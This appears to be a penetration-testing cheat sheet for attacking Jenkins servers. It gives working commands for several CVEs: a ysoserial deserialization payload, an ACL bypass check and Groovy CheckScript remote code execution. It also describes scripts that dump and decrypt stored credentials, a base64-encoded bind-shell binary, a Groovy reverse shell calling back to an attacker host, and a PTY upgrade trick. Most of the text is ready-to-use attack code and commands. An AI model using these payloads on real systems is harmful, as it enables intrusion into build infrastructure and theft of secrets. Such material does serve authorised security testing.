Deserialization RCE in old Jenkins (CVE-2015-8103, Jenkins 1.638 and older)
Use ysoserial to generate a payload. Then RCE using this script:
java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out ./jenkins_rce.py jenkins_ip jenkins_port payload.out
Authentication/ACL bypass (CVE-2018-1000861, Jenkins <2.150.1)
Details here.
If the Jenkins requests authentication but returns valid data using the following request, it is vulnerable:
curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a
Metaprogramming RCE in Jenkins Plugins (CVE-2019-100300{0,1,2})
Original RCE vulnerability here, full exploit here.
Alternative RCE with Overall/Read and Job/Configure permissions here.
CheckScript RCE in Jenkins (CVE-2019-10030{29,30})
Check if a Jenkins instance is vulnerable (needs Overall/Read permissions) with some Groovy:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'
Execute arbitraty bash commands:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'
If you don't immediately get a reverse shell you can debug by throwing an exception:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'
Use this script to dump build console outputs and build environment variables to hopefully find cleartext secrets.
usage: jenkins_dump_builds.py [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]
[-d] [-l] [-r]
url [url ...]
Dump all available info from Jenkins
positional arguments:
url
optional arguments:
-h, --help show this help message and exit
-u USER, --user USER
-p PASSWORD, --password PASSWORD
-o OUTPUT_DIR, --output-dir OUTPUT_DIR
-d, --downgrade_ssl Downgrade SSL to use RSA
-l, --last Dump only the last build of each job
-r, --recover_from_failure
Recover from server failure, skip all existing
directories
These files are needed to decrypt Jenkins secrets:
- secrets/master.key
- secrets/hudson.util.Secret
Such secrets can usually be found in:
- credentials.xml
- jobs/.../build.xml
Here's a regexp to find them:
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
Use this script to decrypt previsously dumped secrets.
Usage:
jenkins_offline_decrypt.py <jenkins_base_path>
or:
jenkins_offline_decrypt.py <master.key> <hudson.util.Secret> [credentials.xml]
or:
jenkins_offline_decrypt.py -i <path> (interactive mode)
Decrypt Jenkins secrets from Groovy
println(hudson.util.Secret.decrypt("{...}"))
Command execution from Groovy
def proc = "id".execute(); def os = new StringBuffer(); proc.waitForProcessOutput(os, System.err); println(os.toString());
For multiline shell commands, use the following shell syntax trick (example includes bind shell):
def proc="sh -c \$@|sh . echo /bin/echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAzgAAAAAAAAAkAQAAAAAAAAAQAAAAAAAAailYmWoCX2oBXg8FSJdSxwQkAgD96UiJ5moQWmoxWA8FajJYDwVIMfZqK1gPBUiXagNeSP/OaiFYDwV19mo7WJlIuy9iaW4vc2gAU0iJ51JXSInmDwU= | base64 -d > /tmp/65001".execute();
Reverse shell from Groovy
String host="myip"; int port=1234; String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
I'll leave this reverse shell tip to recover a fully working PTY here in case anyone needs it:
python -c 'import pty; pty.spawn("/bin/bash")' ^Z bg stty -a echo $TERM stty raw -echo fg export TERM=... stty rows xx columns yy